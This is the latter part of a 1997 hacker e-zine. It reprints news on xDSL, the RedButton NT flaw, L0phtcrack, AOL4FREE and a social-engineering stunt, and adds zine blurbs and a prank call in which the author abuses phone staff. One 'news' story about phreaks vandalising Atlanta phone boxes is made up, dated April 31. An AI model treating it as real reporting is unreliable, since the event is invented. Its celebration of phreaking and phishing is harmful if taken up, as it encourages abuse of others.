  3268.  "Our concern about Bell Atlantic's IPRS service, aside from the fact that we 
  3269.  don't know how much it would cost, is that it essentially takes data off our 
  3270.  network and runs it through a local exchange carrier packet switch network," 
  3271.  said Jill Lesser, deputy director of Law and Public Policy at America 
  3272.  Online, the largest Internet access provider in the United States with more 
  3273.  than 8 million subscribers. "Right now we have ultimate quality control of 
  3274.  our packet network and we like that." 
  3275.  
  3276. According to one person within the ISP industry, the other reasons the ISPs 
  3277. will not bite is that the proposed services offer no great leap forward over 
  3278. the existing systems. That person, who spoke on the condition that he not be 
  3279. identified, said he saw two problems with the phone companies' technologies. 
  3280. The first is that the data traffic will still have to go through one voice 
  3281. switch, thereby not considerably lessening congestion, he said. Second, this 
  3282. service will be available only in one or two hubs in every calling area 
  3283. rather than in every central office. 
  3284.  
  3285. "It's only when they deploy this technology in every single central office 
  3286. that they can take data completely off the voice network," said the industry 
  3287. source. "They talk about their technology offering less congestion and better 
  3288. service but at this point it doesn't measure up. Maybe in a couple of years 
  3289. that would be the case but by that point, hopefully, we are talking about 
  3290. xDSL technologies." 
  3291.  
  3292. And certainly everyone appears to be eagerly anticipating xDSL services, the 
  3293. next round of access technologies. (The "DSL" stands for Digital Subscriber 
  3294. Loop, while the "x" is a variable that represents the varying speeds and 
  3295. methods of transmission offered by different companies.) 
  3296.  
  3297. "The new DSL technologies are expected to drive a wide variety of 
  3298. applications in education, health care and telecommuting," said Vinton G. 
  3299. Cerf, who is widely considered one of the fathers of the Internet and who is 
  3300. now the executive vice president of Internet architecture at MCI. "This 
  3301. increased capacity allows consumers in homes and businesses to have access to 
  3302. high-speed services normally requiring expensive fiber optic line 
  3303. connections." 
  3304.  
  3305. Applications of the xDSL technologies will include interactive services like 
  3306. home shopping and banking, multi-party video games, and multimedia education 
  3307. and entertainment. 
  3308.   
  3309.  In 1998, the Baby Bells, as well as companies like Cisco Systems, plan to 
  3310.  release the xDSL family of access technologies, which use digital signals 
  3311.  across the traditional copper wires -- the lines that connect nearly every 
  3312.  home and business in the United States. 
  3313.  
  3314. That copper lines can provide high-speed Internet access comes as a surprise 
  3315. to most users because of the commonly held belief that the narrow bandwidth 
  3316. of copper can optimally only support voice traffic while causing data 
  3317. bottleneck on the Internet. 
  3318.  
  3319. "The truth is that we have used only 1 percent of the capability of copper; 
  3320. the other 99 percent of the band has just been sitting idle," said Jeff 
  3321. Waldhuter, executive director of research and development at NYNEX's Science 
  3322. and Technology division. "The existing copper pipe infrastructure has the 
  3323. capability to provide the super highway today." 
  3324.  
  3325. NYNEX plans to take advantage of this unused portion of the pipes by offering 
  3326. something called Asymmetric DSL technology by January 1998. 
  3327.  
  3328. "ADSL is not rocket science," Waldhuter said. "It builds off the technology 
  3329. of today's analog modems." 
  3330.  
  3331. According to Waldhuter, ADSL leverages the same advances in modem technology, 
  3332. and by using a larger window of the spectrum on the copper wires. He said: 
  3333. "It uses 200 times the spectrum on the copper wire than we are currently 
  3334. using. That is how we can get six to eight megabits over the copper to 
  3335. individual homes." 
  3336.  
  3337. NYNEX is working closely with US Robotics, the modem manufacturer, to design 
  3338. a modem that will initially provide 56K service but that could be used for 
  3339. ADSL service once it is launched. 
  3340.  
  3341. "We just met with US Robotics, and they see a tremendous upside opportunity 
  3342. in the market," Waldhuter said. "They are going to do some aggressive pricing 
  3343. to bring down the cost so it will be affordable to consumers by the 1998 time 
  3344. frame." 
  3345.   
  3346.  Cisco Systems recently entered the Digital Subscriber Loop market by 
  3347.  acquiring Telesend, a privately held company that developed a symmetrical 
  3348.  xDSL technology, called IDSL. Cisco claims that users can obtain 128Kbps 
  3349.  connections, double the speed of existing single B channel ISDN data 
  3350.  services and many times faster than 28.8Kbps or 56Kbps modems. 
  3351.  
  3352. "ISDL can be deployed quite economically because many ISDN devices can 
  3353. potentially support IDSL with a simple software change," said Andrew 
  3354. Greenfield, director of Service Provider Infrastructure at Cisco Systems. 
  3355.  
  3356. Greenfield added that the difference between ADSL and IDSL is that ADSL has a 
  3357. different bandwidth in each direction. "One common configuration gives you 
  3358. 640 kilobits per second from the customer to the network and 6 megabits in 
  3359. the reverse direction," he said. "Whereas IDSL is symmetric with 128 Kbps in 
  3360. both directions." 
  3361.  
  3362. Companies offering an alphabet soup of xDSL technologies are confident that 
  3363. the variety of services will be compatible. 
  3364.  
  3365. "The approach we're going to take is standardizing the backbone data network 
  3366. off the circuit switch voice network to make sure that it is able to have a 
  3367. wide variety of DSL technologies plug right into our backbone," Castleton 
  3368. said. "That is the direction a number of the Ciscos and Bay Networks are 
  3369. heading." 
  3370.  
  3371. None of the companies provided clear pricing details. 
  3372.  
  3373. Cisco's Greenfield offered only that consumers would start seeing something 
  3374. analogous to business class and coach class service for the Internet. 
  3375.   
  3376.  "There will a consumer oriented bandwidth that would be competitively priced 
  3377.  to be affordable to consumers," said John Johnson, a NYNEX spokesman. "And a 
  3378.  business-level bandwidth at a price businesses expect to pay -- one that is 
  3379.  competitive with existing services." 
  3380.  
  3381. How effective the xDSL technologies will be depends entirely on how widely 
  3382. they will be available. 
  3383.  
  3384. "Our ADSL roll-out plans are being finalized, but we will be concentrating on 
  3385. metropolitan and suburban areas, and other areas of high demand," said 
  3386. Johnson. "I can't be more specific at this time. But yes, it will be limited 
  3387. by the weakest link in the chain, where ever that may be." 
  3388.  
  3389. Before xDSL technologies lure ISPs off the exempted lines, the question of 
  3390. costs and availability will have to be spelled out. 
  3391.  
  3392. "It's fine to say these products are available, but our primary concerns are 
  3393. whether its level of deployment will be close to ubiquity and what the 
  3394. ultimate cost would be to upgrade," said AOL's Lesser. "We are also concerned 
  3395. about what upgrades will be necessary from the consumer side because we serve 
  3396. largely a residential rather than a business market place. If it's not widely 
  3397. available to our customers, it's not that useful for us to invest in." 
  3398.  
  3399. With other access technologies on the horizon, such as cable and improved 
  3400. wireless connections, consumers can only wait to see which become the 
  3401. standard. 
  3402.  
  3403. ⌐New York Times
  3404. _____________________________________________________________
  3405.  
  3406.  Hacker Provokes Klan Site Shutdown
  3407.  by David Lazarus 
  3408.  
  3409.  11:55am 22.Apr.97.PDT -- A hacker named "Joka" managed to get America Online 
  3410.  to briefly shut down a site run by the Texas branch of the Ku Klux Klan over 
  3411.  the weekend, forcing the service to act for security reasons after it had 
  3412.  declined to do so in response to widespread criticism that the site contains 
  3413.  offensive material. 
  3414.  
  3415. "Somebody was password fishing," AOL spokeswoman Wendy Goldberg said Tuesday. 
  3416. "They were using a made-up screen name similar to the one for the Klan. When 
  3417. people register complaints, we pull the screen down." 
  3418.  
  3419. Simple as that - and exactly as Joka had hoped. 
  3420.  
  3421. In a newsletter called the AOL List that routinely slams the quality of AOL's 
  3422. service, David Cassel wrote that he'd spoken with Joka, who explained how he 
  3423. succeeded in attacking the Klan site by using "the hacker skill of social 
  3424. engineering." 
  3425.  
  3426. What Joka did was set up a screen name that closely resembled that of the 
  3427. Realm of Texas of the KKK. "I went around asking people for their passwords, 
  3428. hoping that they would report the wrong screen name," he was quoted as 
  3429. saying. 
  3430.  
  3431. It worked. Goldberg said a number of complaints were received from members 
  3432. last Friday that the operator of the Klan site was going around asking for 
  3433. people's passwords. AOL's security force promptly shut down the Klan site and 
  3434. launched an investigation. 
  3435.  
  3436. "We checked and saw it was a made-up screen name," Goldberg said. "When we 
  3437. saw this, we put the Klan's screen back up." She added that the amount of 
  3438. time the Klan site was down was not very long. 
  3439.  
  3440. AOL has drawn considerable flak since Wired News first reported the ongoing 
  3441. presence of the Klan site on its server - despite the service's crackdown on 
  3442. other sites deemed offensive or pornographic. 
  3443.  
  3444. The KKK Realm of Texas site discusses America being "duped by the lies of the 
  3445. race mixers and mongrelizers," and declares the Klan's commitment to "the 
  3446. preservation, protection, and advancement of the White race." 
  3447.  
  3448. Goldberg said the site was reviewed months ago by AOL, and the service 
  3449. decided to let it stay. "These are difficult judgment calls, and we're making 
  3450. them on a case-by-case basis," she said. "What we look at is the content and 
  3451. character of a site." 
  3452.  
  3453. For his part, Joka figures his shadow Klan operator drew about 200 complaints 
  3454. after attempting to shake down more than 3,000 AOL members. "Stupid people on 
  3455. AOL always amaze me," he was quoted as saying. 
  3456.  
  3457. ⌐1993-97 Wired Ventures, Inc.
  3458. _____________________________________________________________ 
  3459.  
  3460.  RedButton Lets Anyone Be Everyone
  3461.  by Michael Stutz 
  3462.  
  3463.  2:57pm 22.Apr.97.PDT -- A serious security hole in Windows NT is the latest 
  3464.  in a recent series of published vulnerabilities in the Microsoft operating 
  3465.  system. 
  3466.  
  3467. The "RedButton Bug," named for the first program to demonstrate the NT 
  3468. vulnerability, allows an intruder to bypass the traditional logon procedures 
  3469. and grants that user access to intimate system information on an NT server. 
  3470.  
  3471. Normally, entry to an NT machine is obtained by logging on with a valid 
  3472. username and password combination, or optionally using the guest account, if 
  3473. enabled. The RedButton Bug exploits an alternate means of access on NT 
  3474. machines - the anonymous account - which is normally used for 
  3475. machine-to-machine communication on a network. 
  3476.  
  3477. Once connected, this account gives users access to all resources available to 
  3478. the group called "everyone," which is as it sounds, all of the users on the 
  3479. system. These resources include file shares, of which the default group when 
  3480. first created is "everyone." Some resources could even be written by the 
  3481. intruder, allowing the implant of Trojan horses. 
  3482.  
  3483. The bug was discovered by Andy Baron at Midwestern Commerce Inc., a firm that 
  3484. specializes in NT security consulting and assessment. A working demo of the 
  3485. flaw was recently published on NTsecurity.com, the Columbus, Ohio, firm's Web 
  3486. site. 
  3487.  
  3488. When run, RedButton demonstrates how the flaw allows users to log on to any 
  3489. LAN or Internet workstation running Windows NT versions 3.5x or 4.0 for which 
  3490. they have network access. Users don't have to complete the username or 
  3491. password fields. Once on the server, a user sees sensitive information about 
  3492. the host machine, including the name of the administrator account and various 
  3493. entries in the Windows NT Registry, including a list of users. 
  3494.  
  3495. The RedButton program runs only on NT machines. "Our goal wasn't to make it 
  3496. available for all platforms," said MWC director of sales Andy Pozo. 
  3497.  
  3498. Potentially, the bug can be exploited by any networked computer. 
  3499.  
  3500. Microsoft officials were unavailable for comment Tuesday despite several 
  3501. attempts to reach them. 
  3502.  
  3503. For now, network administrators have no fix, other than disconnecting servers 
  3504. from the network, a practice that's incongruous with the function of the 
  3505. machines in the first place. And taking away the anonymous access isn't an 
  3506. option, said Pozo. "Disabling anonymous access would hinder NT as a useable 
  3507. networking platform," he said. 
  3508.  
  3509. Partial fixes are available, including the EVERYONE2USER.EXE program, 
  3510. developed by David LeBlanc at Internet Security Systems Inc., which changes 
  3511. resources from the "everyone" group to one called "user group." 
  3512. Internet-connected machines should have their NetBIOS services unbound from 
  3513. their Internet interface. 
  3514.  
  3515. "Microsoft may include a fix to this problem in time for Service Bug 3, but 
  3516. it could be difficult - this bug affects the basic design of NT," Pozo said. 
  3517.  
  3518. It would also require the patching of a number of kernel-level subroutines, 
  3519. he said. 
  3520.  
  3521. Pozo maintains that the latest breach in Microsoft's heavy-hitting OS does 
  3522. not mean it's not viable. NT is only showing its youth, he said. "[NT] 
  3523. doesn't have the 20 years [of security checking] that Unix has." 
  3524.  
  3525. To hackers, NT's vulnerability stems not from the lack of security but from 
  3526. the very existence of a security scheme. "NT has a security model, and Unix 
  3527. doesn't," said Mudge, a hacker at the Boston-based collective L0pht 
  3528. Communications. 
  3529.  
  3530. "That's a good thing, but the problem is that so many software vendors tend 
  3531. to bypass that model - including Microsoft itself," he said, referring to the 
  3532. oft-alleged tendency of Microsoft to ignore its own security precautions. 
  3533.  
  3534. And Mudge ought to know. He is the co-author of L0phtcrack, a new tool that 
  3535. demonstrates Windows NT password insecurities, somewhat analogous to the 
  3536. Crack utility in the Unix world. 
  3537.  
  3538. Cracking NT passwords is an easier task than the Unix counterpart because the 
  3539. NT encryption isn't as thorough. When encrypting passwords, NT makes no use 
  3540. of a salt, a mathematical function that increases the possibilities for an 
  3541. encrypted password. And NT only runs through one round of DES encryption for 
  3542. each password, as opposed to the 24 rounds of its Unix equivalent, Mudge 
  3543. said. 
  3544.  
  3545. Thanks to this and some slick code writing, L0phtcrack is currently the 
  3546. fastest password-cracking tool available for the NT platform. 
  3547.  
  3548. "Our goal is to be able to brute force a 14-character NT password on a 
  3549. Pentium Pro 200 in under 24 hours," said co-author and fellow L0pht hacker 
  3550. Weld Pond. 
  3551.  
  3552. But it's not the only one. The current issue of Phrack Magazine, one of the 
  3553. premier security and technology e-journals published by the hacker culture, 
  3554. demonstrates another program that cracks NT passwords. 
  3555.   
  3556. ⌐1993-97 Wired Ventures, Inc.
  3557. _____________________________________________________________
  3558.  
  3559.  AOL4FREE Culprit Tells His Tale
  3560.  by David Cassel 
  3561.  
  3562.  5:02am 22.Apr.97.PDT -- Nicholas Ryan, a college junior convicted for 
  3563.  authoring the original AOL4FREE program, will be leaving Yale University 
  3564.  this June to start a six-month home sentence, and two years of probation. 
  3565.  
  3566. For 25 hours a week, he will be working at a special education program as a 
  3567. form of community service. But on off-hours, Ryan will be working on an 
  3568. encryption program for Windows 95, based on the Macintosh program that 
  3569. stumped the Secret Service agents who confiscated his computer. "It would be 
  3570. a mini-encrypted hard drive - every time you shut down the computer, all the 
  3571. information would be totally encrypted." 
  3572.  
  3573. Three weeks after his conviction, Ryan says he is ready to talk about his 
  3574. hacker past, and to share his experience of creating a program in 1995 that 
  3575. allowed hackers to use AOL without paying the hourly charge. Last week, Ryan 
  3576. came forward with a 30-KB essay explaining his motives and experiences to 
  3577. hacker sites. His confessions came the same week that the Department of 
  3578. Energy put out a warning against the AOL4FREE "Trojan horse," a 
  3579. file-destroying program that is masquerading as Ryan's original program. 
  3580.  
  3581. "I was an outlaw, a spy," Ryan boasts, "and I loved cracking the puzzle of 
  3582. AOL's system." During the days of US$2.95-an-hour pricing, AOL4FREE made 
  3583. Ryan, aka Happy Hardcore, a hero in hacker chat rooms. "When I entered a 
  3584. room, I'd immediately get dozens of messages asking about when my next 
  3585. version would come out, who I knew, and many just thanking me." His essay 
  3586. also includes anecdotes of hacking live chats and distributing AOL customer 
  3587. data. 
  3588.  
  3589. In a press release applauding his conviction, AOL conceded that hundreds used 
  3590. the program to gain free access to the service. Ryan's is the first federal 
  3591. felony conviction involving an online service, AOL claims. "AOL and the 
  3592. prosecutors decided they wanted it to strike a blow against the hackers and 
  3593. take me out as an example," Ryan said in an interview. "At one point they 
  3594. were even claiming that the damages were US$1.5 million." 
  3595.  
  3596. Ironically, Ryan had titled one section of the documentation for AOL4FREE 
  3597. "Can I get caught?" He even supplied a prescient answer: "A better question 
  3598. would be, 'Would they want to prosecute me if I'm caught?'" Ryan now claims 
  3599. he'd been reassured by internal memos forwarded by hacker friends that AOL 
  3600. would not go after him. "I assumed they were going after the AOL4FREE users. 
  3601. Kind of a dumb assumption.... The Secret Service knocked on my door in 
  3602. December." 
  3603.  
  3604. Of the latest AOL4FREE decoy, Ryan says there's nothing new in naming 
  3605. Trojan-horse programs after real ones. "I remember during 1995, way back 
  3606. then, there was an AOL4FREE program that was actually a Trojan horse. So this 
  3607. program may just be a couple of years old." 
  3608.  
  3609. Mixed in with the harrowing stories of his exploits, Ryan's confessional 
  3610. essay includes a disclaimer: "I stress that in no way did we EVER do anything 
  3611. to cause permanent damage using the tools or information that we found." He 
  3612. adds: "We could've taken down 500 file libraries. We could've massively 
  3613. wreaked havoc on the service. But it wasn't what we were there for. It was a 
  3614. puzzle of it, the challenge of it." 
  3615.  
  3616. ⌐1993-97 Wired Ventures, Inc.
  3617. _____________________________________________________________
  3618.  
  3619.  AGIS Keeps Mum Over Attack, FBI Inquiry
  3620.  by Michael Stutz 
  3621.  
  3622.  11:55am 22.Apr.97.PDT -- One of the country's largest Internet service 
  3623.  providers is tight-lipped after an attack on its networks was revealed to be 
  3624.  more serious than originally reported. 
  3625.  
  3626.  Apex Global Information Services (AGIS), considered one of the "big six" 
  3627.  backbone Internet service providers, confirmed Monday that it has been the 
  3628.  target of an all-out network attack and that the FBI is investigating the 
  3629.  incident. In addition, the company has notified the Computer Emergency 
  3630.  Response Team. 
  3631.  
  3632. Although the company would not comment on the scope of the FBI investigation, 
  3633. a spokesman said that no private information was compromised. 
  3634.  
  3635. Observers believe the attack is spam-related because of the company's 
  3636. belligerent attitude toward unsolicited bulk email. A quick scan of the 
  3637. Usenet groups such as news.admin.net-abuse reveals the depth of discontent 
  3638. with the service. 
  3639.  
  3640. AGIS, home to some of the most infamous spam factories on the Net, such as 
  3641. CyberPromotions, is considered to be the world's largest "rogue" site by 
  3642. anti-spam activists such as Robert Braver. 
  3643.  
  3644. Braver on Monday published Implementing Warnings for AGIS Netblocks, a 
  3645. collection of CGI scripts that webmasters could insert in their sites so that 
  3646. anyone from an AGIS network connecting to a page on the site would receive a 
  3647. warning message instead of the page's actual contents. The warning informs 
  3648. the user that, because AGIS provides bandwidth to spammers, some sites and 
  3649. networks may restrict access from their machines to AGIS. 
  3650.  
  3651. It is exactly that sort of blocking that was originally feared to have caused 
  3652. the recent AGIS attack. 
  3653.  
  3654. Users who traced the route from hosts originating on network giant ans.net to 
  3655. destinations in AGIS territory over the weekend noticed that their trail 
  3656. ended abruptly at AGIS' connection to the servers where MFS Communications 
  3657. Company Inc. administers to MAE-East, the largest national network access 
  3658. point. Forty-six ISPs, including all major US and some European firms, 
  3659. connect to routers here to exchange data with other networks. 
  3660.  
  3661. This cut-off fueled speculation among the sleuthing users that ans.net, tired 
  3662. of AGIS' spam-positive practices, configured one of their core routers to 
  3663. ignore all traffic to or from the AGIS address space. But this was not the 
  3664. case, as many hosts on MAE-East suffered similar routing problems during the 
  3665. same time span. 
  3666.  
  3667. Instead, the outage was most likely a hardware problem on AGIS' side - 
  3668. possibly related to the attack. 
  3669.  
  3670. Just what hardware failed and how is something AGIS appears to be keeping in 
  3671. its vest pocket for now. Even the company spokesman is in the dark. "My 
  3672. client hasn't told me whether or not [their silence] is because of the FBI 
  3673. investigation, or what," said the spokesman, Steven Wright-Mark. 
  3674.  
  3675. Nonetheless, it is likely that the company will be forced to change its 
  3676. spam-positive ways; Wright-Mark confirmed that AGIS is expected to release a 
  3677. statement sometime this week updating its position toward the highly 
  3678. unpopular junk email. If this change materializes, it will be a welcome move 
  3679. from a major ISP that, for a time, returned complaints and other email 
  3680. reports of Net abuse back to the sender, unread. 
  3681.   
  3682. ⌐1993-97 Wired Ventures, Inc.
  3683. _____________________________________________________________
  3684.  
  3685.  HLO brings chaos to CERT conference
  3686.  by K.F. Fox
  3687.  
  3688.  13:00pm 31.Apr.97.EST (HNS) -- At the CERT conference on communications 
  3689.  security held today in Atlanta, GA, an apparent reign of terror has begun at 
  3690.  the hands of a group of militant phone phreaks known only as the HAVOC 
  3691.  Liberation Organization, or HLO.  
  3692.  
  3693. Throughout the Atlanta metropolitan area the telephone network has collapsed,
  3694. mainly due to malicious vandalism of telephone access boxes located on nearly
  3695. every city block of the region.  Moments before this terror spree began, an
  3696. anonymous tip was called in to the Atlanta police, stating what could best be
  3697. described as "the end of telecommunications tyranny" as the unidentified 
  3698. caller termed it.  The caller, in the name of the HLO, claimed responsiblity 
  3699. for the terror, and stated that further destruction would be necessary if 
  3700. the HLO's demands for cheaper and more widely available phone service were 
  3701. not met.  
  3702.  
  3703. Rufus Jones, a spokesman for Southern Bell, Atlanta's largest local phone 
  3704. service provider, had this to say: "We stand firmly behind our pricing 
  3705. policies, and believe that this attack is mainly aimed at long distance 
  3706. carriers such as AT&T and Sprint."  Ironically, the majority if not all of 
  3707. the property damaged in this reign of terror is owned and operated by 
  3708. Southern Bell.  When asked if his company was indeed being singled out in the
  3709. rampage, Jones refused comment.  
  3710.  
  3711. What is clear to investigators is that the amount of damage in this terror is 
  3712. significant.  Preliminary reports estimate the cost at between $1.2 and $2.8 
  3713. million.  Those figures do not include the loss in business revenue 
  3714. anticipated as a result of this service outage. 
  3715.  
  3716. Atlanta Police are now following several leads in their investigation, 
  3717. including information provided by an informant working for the FBI.  
  3718. According to Tsutmu Shimomura, chief investigator for the APD, the informant,
  3719. known only as "SINISTER", has been spying on the HLO through a super-secret
  3720. underground hacker chat network on the internet, known as IRC.  
  3721.  
  3722. Through this network the HLO has discussed subjects ranging from prank phone 
  3723. calls to destroying entire areacodes with a device known as a blotto box.  It 
  3724. is believed that the group's membership may number in the hundreds.  
  3725.  
  3726. "I don't know who these guys are, but they're real mean, and I'm going to 
  3727. write another autobiography when I catch them." said Shimomura.  
  3728.  
  3729. HNS will continue to report on this story as more information becomes 
  3730. available.
  3731.  
  3732. ⌐1997 HAVOC News Service
  3733. _____________________________________________________________
  3734.  
  3735. [3rd Major NT Security Flaw]---------------------------------------------
  3736.  
  3737. Following Microsoft's Internet Explorer Web broswer exploitation, another
  3738. major flaw was discovered in another Microsoft product making it the 3rd
  3739. major 'hack'. 2 security technologists wrote a code to exploit the major
  3740. security flaw in Microsoft's NT network operating system which allowed the
  3741. remote user to decrypt critical files including the registry of user 
  3742. passwords. Somehow I doubt Microsoft 'accidently' overlooked such a dangerous 
  3743. hole in one of their most advanced software productions. As of no surprise, 
  3744. Mike Nash (director of marketing for NT Server), has made no remark at all to 
  3745. developing a possible 'patch'. A child could obtain these passwords by 
  3746. sending a Trojan Horse to a user on the network. With these flaws it is 
  3747. easily predicted that more sysadmins will turn to Unix for security.
  3748.     "we're still seeing bugs coming out of 20-year-old Unix, and NT is a
  3749.        baby in comparison." -- Goggans
  3750.  
  3751. based on an article first published via on the web at www.eet.com only a few
  3752. days ago by Larry Lange.
  3753.  
  3754.  
  3755. [Marlyand Begins 10 Digit Dialing]-----------------------------------------
  3756.        As of May 1st 1997 ( the release date of this issue) Marlyanders will
  3757. have to dial 10 digits for local calls. This is the same date as Bell 
  3758. Atlantic adds 2 new area codes, 443 and 240 (not sure about the second area 
  3759. code) to Maryland's two current area codes, 410 and 301. This is the second 
  3760. time in the past ten years that Bell Atlantic has added area codes to 
  3761. Maryland, however, when they added 410 a few years back, we still kept the 
  3762. standard 7 digit dialing, oh well, that's progress for you.
  3763.  
  3764.  
  3765. [The Bell Atlantic/ Nynex Merger Clears a Major Hurdle]----------------------
  3766.        The coming Bell Atlantic/ Nynex merger, which was started off almost
  3767. a year ago, has cleares the Justice Department. Suprisingly, after first
  3768. passing each state's PTC ( Public Telephone Commission ) that the merger will
  3769. affect, it was declared that the merger does not violate antitrust measures
  3770. that will keep the monopoly and hurt the new comers to the local phone 
  3771. market. ( Yea right, i think this agreement came after some money had been 
  3772. slipped under the table.... ) Anyway, now the merger only need the blessing 
  3773. of the FCC, which shouldn't be hard to get. Stay tuned for more details in 
  3774. this 23 billion dollar deal.
  3775.  
  3776.  
  3777. [Inferno OS Beta Test is Released]-------------------------------------------
  3778.        Lucent Technologies, formerly Bell Labs, but spun off into a new
  3779. private company, has released Inferno OS, a new operating system which looks
  3780. rather cool. It is mainly targeted to the programming and IS managers of the
  3781. computer world, but Lucent is opening its view, and seeing that Inferno would
  3782. make a viable internet host, and game development machine. It sounds like it
  3783. is mainly based for UNIX machines, but there are versions of this for almost
  3784. every platform. ( However, as of this writting, Slackware linux is 
  3785. unsupported while Red Hat is supported.) It is now looking like a 
  3786. multipurpose OS like JavaOS, which can be ported to many platforms and all 
  3787. apps will run and look the same. But, i think searching stuff on the internet 
  3788. from your toaster is still a few years off. You can find out more information 
  3789. and even download a copy of Inferno ( 20 mbs!) from: 
  3790. http://www.lucent.com/inferno/
  3791. _____________________________________________________________
  3792. [ Phone Calls ]
  3793.  
  3794. [1] [ NOTE: First, let it be known, that if you didn't read the news, Bell
  3795. Atlantic customers in the Maryland area, will have to use 10 digit dialing
  3796. beginning May first. So get ready for this, of course, i have been dialing
  3797. all ten digits for local calls, to get practice so my calls will go thru ]
  3798.  
  3799.             [ Crappy James Earl Jones Bell Atlantic Greeting]
  3800.  
  3801. Operator> Thank you for using Bell Atantic.  How may i help you?
  3802. Me> I want to to fix your phone system.
  3803. Operator> Excuse me?
  3804. Me> Your phone system, it keeps giving me a 'The number you have dialed is
  3805. not available, please hang up and try again'
  3806. Operator> Are you sure you a dialing the right number?
  3807. Me> Fuck yes I am, Im adding the area code in, so i remember when to do it
  3808. when May 1st comes around. With out the area code, it works fine, fix your
  3809. damn system.
  3810. Operator> Sir, please try to calm down.....
  3811. Me> Fuck that! I am calm!
  3812. Operator> Sir, Please stop the abusive language....
  3813. Me> You want abusive language? Ill give you abusive language!
  3814. Operator> Sir, I can't explain why your calls arent going through, maybe you
  3815. are dialing the wrong number.
  3816. Me> Do I sound like an idiot to you? Do I? Fuck you, let me speak with your
  3817. supervisor.
  3818. Operator> Are you sure you want to speak with my supervisor?
  3819. Me> Hell Yes I do
  3820. Operator> Ok sir, let me get them on the line for you....
  3821.                      [ Elevator Music ]
  3822. Supervisor> Sir?
  3823. Me> Yea, fix your damn phone system.
  3824. Supervisor> What?
  3825. Me> Damnit, I SAID FIX YOUR DAMN PHONE SYSTEM SO THAT I CAN USE THE AREA CODE
  3826. TO DIAL A LOCAL CALL SO I WILL BE IN GOOD SHAPE WHEN MAY FIRST IS HERE!
  3827. Supervisor> Sir, are you sure your calls are local? They may be long distance
  3828. and you need to dial a '1'
  3829. Me> Fuck head, I  TOLD YOU, THESE ARE LOCAL CALLS.
  3830. Supervisor> Oh, I'm sorry
  3831. Me> Dumb Ass, your no help, let me speak with your supervisor
  3832. Supervisor> Sir?
  3833. Me> YOUR SUPERVISOR?!?! I want to speak with him
  3834. Supervisor> He's not here right now sir
  3835. Me> I DEMAND TO SPEAK WITH HIM!
  3836. Supervisor> Sir, he's not here, can i leave a message?
  3837. Me> Yea, tell him to fire your sorry lame ass, since you can't do your job...
  3838.  
  3839.                        [ C L I C K ]
  3840.  
  3841.  
  3842. _____________________________________________________________
  3843.     
  3844.     ------------------------                  ----------------------
  3845.      -[HAVOC Bell Systems]-                  -[Acknowledgements]-
  3846.     ------------------------                  ----------------------
  3847.                                
  3848. Agrajag   : PLA Michigan (MIA?)          btm       : Elite 
  3849. darkcyde  : #phreak old-schooler         digipimp  : Co-conspirator
  3850. Digital_X : Nemesis (MIA?)               dr1x      : It's 420!
  3851. disc0re   : Distributor  (errrrrr)       ec|ipse   : Hysterical bastard
  3852. Keystroke : Submissions Editor           CrakerJak : Crazy ass mofo
  3853. KungFuFox : Editor                       RBCP      : Funniest man alive
  3854. memor     : Ueberleet French phreak      shoelace  : Kewl fellow, #phreak'er
  3855. psych0    : Lame ass mofo                Distorted : sup bro?
  3856. REality   : #phreak's southern accent    yesimlame : No, he's not
  3857. Scud-O    : Founder and Editor in Chief  JP        : JP owns you all!
  3858. Redtyde   : #phreak not so old-schooler  tombin    : phear!
  3859. theLURK3R : Coder guru                   Defraz    : Spanish restaurant owner
  3860. UnaBomber : Tired of IRC (MIA?)          ChiaPope  : sniff, we miss wrath!               
  3861.                                  Dave      : sup bro?
  3862.                                  Malhavoc  : Infectous Thinker
  3863.                                  antifire  : NT security guru
  3864.                                  darc      : has bad info lines
  3865.                                  devnull   : rmd his sendmail sploits
  3866.                                  TMessiah  : Believes in 'Utopia'
  3867.                                  X-TREME   : (to the group) sup all?
  3868.                                  #phreak   : My home on IRC
  3869.                                  #hackers  : My home away from home 
  3870.  
  3871. _____________________________________________________________
  3872.  
  3873. This Month's Question: ( submitied by mbanfeld@n*th*r.n*t )
  3874.          Do you guys to web development?
  3875.  
  3876.        Yea, although we all make lame web pages, but hell, if a group of
  3877. insane Heaven's Gate cultists can do it, so can we!
  3878.  
  3879.  
  3880. _____________________________________________________________
  3881.  
  3882. Next Month:
  3883. [My crystal ball is STILL in the shop, but when I was at Bob's Auto and
  3884. Crystal Ball Repair Shop the other day, it metioned somethin about httpd
  3885. problems and some firewalling holes, But stay tuned for more information.]
  3886.  
  3887.                       Issue 11 is out June 1st!
  3888.  
  3889.  Send all articles for issue 11 to Keystroke at: keystroke@thepentagon.com
  3890.  
  3891.        Tune in next time, Same Bat Time, Same Bat Channel!
  3892.  
  3893.         ==========================================================
  3894.         = Is this copy of The HAVOC Technical Journal skunked?   =
  3895.         = If this file doesn't read at 154768 bytes, it probably =
  3896.         = doesn't have a born on date! Get a fresh copy from our = 
  3897.         = site at: http://www.geocities.com/SiliconValley/8805/  =
  3898.         ==========================================================
  3899.        
  3900.                             -[EOF]-
  3901.